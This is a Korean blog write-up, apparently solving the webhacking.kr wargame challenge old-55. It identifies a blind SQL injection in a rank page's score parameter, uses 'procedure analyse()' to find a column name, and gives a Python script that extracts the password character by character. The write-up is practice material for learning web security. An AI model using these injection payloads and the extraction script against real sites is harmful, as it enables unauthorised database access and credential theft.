old-55 풀이

2024. 4. 15. 21:51webhacking.kr

728x90

메인 페이지

초록색 슬라임같이 생긴 캐릭터가 보입니다

스코어와 랭크도 보이네요

 

움직인다!

마우스를 움직이니까 슬라임의 눈이 빨갛게 변하면서 움직입니다

이것만 봐선...ㅋㅋ 이게 무슨 문젠지 모르겠으니, 우선 rank 페이지부터 들어가 보겠습니다

 

rank 페이지
mysqli_query

페이지 아래에 보면 MySQL 쿼리도 보입니다

score를 눌러봤습니다

 

URL
페이지

URL에는 score라는 파라미터가 생겼고, 페이지에는 id 정보와 score 값이 나옵니다

score 파라미터에 숫자를 넣어보면서 페이지가 어떻게 변하는지 확인해 보겠습니다

 

?score=1
?score=2
?score=1234

값을 넣어줄 때마다 다른 id가 나옵니다

(0도 넣어봤는데, 0을 넣었을 때는 아무것도 나오지 않았습니다)

MySQL 쿼리가 있는 거면 Blind SQLi일 확률이 높으므로, 참/거짓 값을 넣어서 결괏값이 어떻게 나오는지 확인하겠습니다

 

참을 넣어줬을 때
참 결과
거짓을 넣어줬을 때
거짓 결과

참과 거짓의 결과가 다르게 나오네요

(Blind SQLi가 가능하다는 증거!)

procedure을 사용해서 컬럼명을 긁어오겠습니다

?score=2147483647 limit 2,1 procedure analyse()

URL
컬럼명 확인

p4ssw0rd_1123581321가 컬럼명이었습니다

이제 파이썬 코드를 짜서 돌려주겠습니다

 

import requests

url = "https://webhacking.kr/challenge/web-31/rank.php"
flag = ""
flag_string = "id : Piterpan // 1"


def find_flag_len():
    L = 1
    while True :
        query = "?score=1 and length(p4ssw0rd_1123581321)=" + str(L) + "#"
        result = requests.get(url+query)
        if flag_string in result.text :
            break
        L+=1
    return L


flag_len = find_flag_len()

for i in range(1, flag_len + 1) :
    for c in range(33, 127) :
        query="?score=1 and ord(right(left(p4ssw0rd_1123581321," + str(i) + "), 1)) = "+ str(c) +"#"
        result = requests.get(url+query)
        if flag_string in result.text :
            flag += chr(c)
            print(flag)
            break

print("FIND FLAG : ", flag)

문제 풀이 성공

728x90

'webhacking.kr' 카테고리의 다른 글

old-40 풀이  (0) 2024.05.04
old-29 풀이  (0) 2024.05.02
old-13 풀이  (0) 2024.04.11
g00gle2 풀이  (0) 2024.04.10
baby toctou🍼 풀이 (PW = FLAG)  (0) 2024.04.08